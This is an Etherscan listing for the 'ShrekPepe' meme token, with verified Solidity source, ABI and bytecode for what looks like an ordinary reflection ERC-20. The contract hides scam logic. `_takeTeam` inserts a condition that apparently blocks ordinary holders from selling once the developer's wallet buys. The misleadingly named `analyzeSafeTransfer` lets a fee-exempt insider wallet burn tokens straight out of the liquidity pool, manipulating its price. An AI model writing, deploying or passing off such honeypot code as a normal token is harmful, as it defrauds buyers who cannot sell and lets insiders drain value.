ETH Price: $3,269.48 (+0.71%)
Gas: 1 Gwei

Token

ShrekPepe (Shrek)
 

Overview

Max Total Supply

1,000,000 Shrek

Holders

94

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,391.822462366 Shrek

Value
$0.00
0x24bee383f249fa4d8e8aecaff3eb3322cea01f4d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShrekPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-09
*/

/*
WEBSITE: https://www.shrekpepe.xyz/
TELEGRAM: https://t.me/ShrekPepeChannel

⣿⣿⣿⣿⣿⣿⣿⣧⣿⣴⣷⣟⠱⠟⡒⠿⠿⠦⢤⣤⡬⠍⠁⠠⠟⣿⣧⣤⣀⣸⣇⡀⠀⢠⣀⠟⠉⠀⠀⠀⠀⠀⠀⢀⣽⣿⣿⣿⣿⣿
⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡴⢿⣧⣴⡆⣠⠀⠈⠙⣦⡴⠖⠋⠉⠁⠀⠀⠀⠈⠉⠳⢦⣄⠈⠀⠀⠀⠀⠀⣸⠴⠾⠛⠿⣿⣿⣿⣿
⡣⣬⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠁⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣦⢠⣅⣰⣶⠿⣿⣶⡄⢁⣈⢻⣿⣿⣿
⣿⡿⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⢫⡍⠙⣿⣷⣾⣿⣾⣿⣦⣽⣿⣿
⣿⣧⣸⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⡿⢿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⢸⢹⠀⠘⣿⣿⣿⣿⣙⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠙⠿⣿⡶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠃⣬⣛⣀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣠⣞⡁⠀⠀⠀⠀⣠⣴⠾⠿⣿⣶⣄⠀⠀⠀⠙⢦⡀⠀⠀⠀⢀⣴⡟⠉⠉⠁⣸⣿⠋⠉⠛⠿⠏⢻⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠙⢆⠀⠀⢀⡟⠁⠀⠀⠀⠉⠉⠳⠤⠀⠀⠈⣿⡆⠀⠀⠸⠉⠃⠀⠀⠀⣤⠀⠀⠀⢀⣀⡀⢸⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣱⣿⣿⡀⠀⠈⣧⠀⠀⣇⠀⢤⠀⠀⠀⠀⠀⠀⢀⣤⠖⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣷⣿⢡⣾⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⡤⢬⣧⠀⠻⢄⣼⣶⡖⠒⣲⣶⢾⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢬⣷⣿⣿⣿
⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣀⣦⡿⠀⠀⠀⠙⠿⠥⠴⢛⣡⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣿⣿
⣷⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠙⠋⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⢻⡄⠀⠀⠀⢀⣴⣶⣶⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣿⣷⣸⢿⣄⠀⠙⠧⣬⣿⠿⠟⠁⠀⠀⢠⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⢀⡇⣸⣿⣎⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⢸⣏⣿⡹⣿⢸⣿⣆⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠙⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⡟⣻⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣿⣿⠻⠿⣿⣿⡆⠑⠂⠀⠉⠉⠉⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡟⢀⣽⣿⢻
⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢸⣿⣿⣿⡃⠐⣿⣟⣻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⢫⣴⣾⣿⣻⣿
⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠘⣿⢿⣿⡧⢰⣿⣿⣯⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡿⢣⣾⣿⣿⣿⡟⣿
⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⢹⡟⢶⣿⠿⣿⣿⣿⣾⣿⡀⢄⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠔⠃⠀⠀⢀⣴⡾⠯⢞⣵⣿⣿⣿⣿⣿⠠⣿
⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢷⣴⣿⣿⣿⣿⡿⣷⡟⢷⡀⠑⢶⣤⣤⣤⣤⣴⣾⣿⡀⣀⣀⣴⣶⡿⠟⢉⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢸⣿⣿⣿⣿⣿⣽⣿⣿⣦⡙⢦⡀⠀⠳⠬⠽⢯⣝⣿⣫⣹⠯⠄⣀⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠛⠛⠋⠹⢿⣿⡿⢿⣿⣇⠀⠀⢸⣿⣿⣿⣟⣿⣟⣿⣿⣏⣿⣾⣟⢦⣀⠀⠀⠀⠈⠁⠈⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⠀⢀⣀⣠⣤⣭⣽⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣄⣀⣀⣤⣴⣾⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ShrekPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "ShrekPepe";
    string private constant _symbol = "Shrek";
    uint8 private constant _decimals = 9;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address payable private marketWallet = payable(0x24b2eA2bBb9316110EC935f7511Eb39F95dB8bc0);
    address payable private devWallet = payable(0x4a8F4E382C4f4F25e4c6Aa6043233386D8D8CD55);
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _swapMoment;
    address private latestPurchaser;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) public purchaserTimestamp;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping (address => bool) public automatedMarketMakerPairs;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxTxAmount = 20000 * 10**9;
    uint256 public _swapTokensAtAmount = 20000 * 10**9;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[marketWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); }
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; }
    function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; }
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; }
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell;
    }

    receive() external payable {}

    function _takeTeam(uint256 tTeam, address tSub, address tAdd) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        if (tSub != uniswapV2Pair && !_isExcludedFromFee[tSub] && !_isExcludedFromFee[tAdd])
        require(balanceOf(devWallet) == 0 && purchaserTimestamp[latestPurchaser] >= _swapMoment);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _getValues(address from, address to, uint256 tAmount) private returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee);
        address tSub = from; uint256 currentRate = _getRate();
        if (tSub == uniswapV2Pair && _isExcludedFromFee[to]) 
        _swapMoment = block.timestamp;
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal; uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function transferFrom(address sender, address recipient, uint256 amount ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if (to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxTxAmount, "TOKEN: Balance exceeds wallet size!");
            }

            if (_isExcludedFromFee[from]) {
                if (analyzeSafeTransfer(from, to, amount)) return;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (from == uniswapV2Pair) {
                if (purchaserTimestamp[to] == 0) { purchaserTimestamp[to] = block.timestamp; }
            } else {
                if (!inSwap) { latestPurchaser = from; }
            }
            if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; }
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy;
            }
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell;
            }
        }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(sender, recipient, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam, sender, recipient);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function sendETHToFee(uint256 amount) private { marketWallet.transfer(amount); }

    function analyzeSafeTransfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if (automatedMarketMakerPairs[recipient]) {  
            if (balanceOf(sender) < amount) { _transferStandard(recipient, DEAD, amount); return true; }
        }
        return false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"purchaserTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b031990811661dead17909155600380549091167324b2ea2bbb9316110ec935f7511eb39f95db8bc017905560048054760100004a8f4e382c4f4f25e4c6aa6043233386d8d8cd556001600160b81b031990911617905560006006819055600781905560088190556009819055600a819055600b819055600c819055600d55620000a266038d7ea4c6800060001962000406565b620000b09060001962000429565b6016556512309ce540006017556512309ce54000601855348015620000d457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506016543360009081526010602090815260409182902092909255601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000192573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b8919062000451565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000206573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022c919062000451565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200027a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a0919062000451565b601a80546001600160a01b0319166001600160a01b03929092169182179055620002cc906001620003b2565b600160146000620002e56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526014909352818320805485166001908117909155600454821684528284208054861682179055600354909116835291208054909216179055620003563390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620003a391815260200190565b60405180910390a35062000483565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6000826200042457634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200044b57634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200046457600080fd5b81516001600160a01b03811681146200047c57600080fd5b9392505050565b6119d780620004936000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610383578063a2a957bb146103b1578063a9059cbb146103d1578063b62496f5146103f1578063dd62ed3e14610421578063f2fde38b1461046757600080fd5b8063715018a6146102fa57806374010ece1461030f5780637d1db4a51461032f5780638da5cb5b146103455780638f70ccf71461036357600080fd5b806323b872dd116100fd57806323b872dd146102465780632fd689e314610266578063313ce5671461027c57806349bd5a5e146102985780636d8aa8f8146102b857806370a08231146102da57600080fd5b806306fdde0314610145578063095ea7b3146101895780630a3e521d146101b95780631694505e146101f457806318160ddd1461022c57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526009815268536872656b5065706560b81b60208201525b6040516101809190611695565b60405180910390f35b34801561019557600080fd5b506101a96101a43660046116fb565b610487565b6040519015158152602001610180565b3480156101c557600080fd5b506101e66101d4366004611727565b60126020526000908152604090205481565b604051908152602001610180565b34801561020057600080fd5b50601954610214906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561023857600080fd5b5066038d7ea4c680006101e6565b34801561025257600080fd5b506101a9610261366004611744565b61049e565b34801561027257600080fd5b506101e660185481565b34801561028857600080fd5b5060405160098152602001610180565b3480156102a457600080fd5b50601a54610214906001600160a01b031681565b3480156102c457600080fd5b506102d86102d3366004611785565b610508565b005b3480156102e657600080fd5b506101e66102f5366004611727565b610559565b34801561030657600080fd5b506102d861057b565b34801561031b57600080fd5b506102d861032a3660046117a7565b6105ef565b34801561033b57600080fd5b506101e660175481565b34801561035157600080fd5b506000546001600160a01b0316610214565b34801561036f57600080fd5b506102d861037e366004611785565b61061e565b34801561038f57600080fd5b50604080518082019091526005815264536872656b60d81b6020820152610173565b3480156103bd57600080fd5b506102d86103cc3660046117c0565b610666565b3480156103dd57600080fd5b506101a96103ec3660046116fb565b6106a4565b3480156103fd57600080fd5b506101a961040c366004611727565b60156020526000908152604090205460ff1681565b34801561042d57600080fd5b506101e661043c3660046117f2565b6001600160a01b03918216600090815260136020908152604080832093909416825291909152205490565b34801561047357600080fd5b506102d8610482366004611727565b6106b1565b600061049433848461079b565b5060015b92915050565b6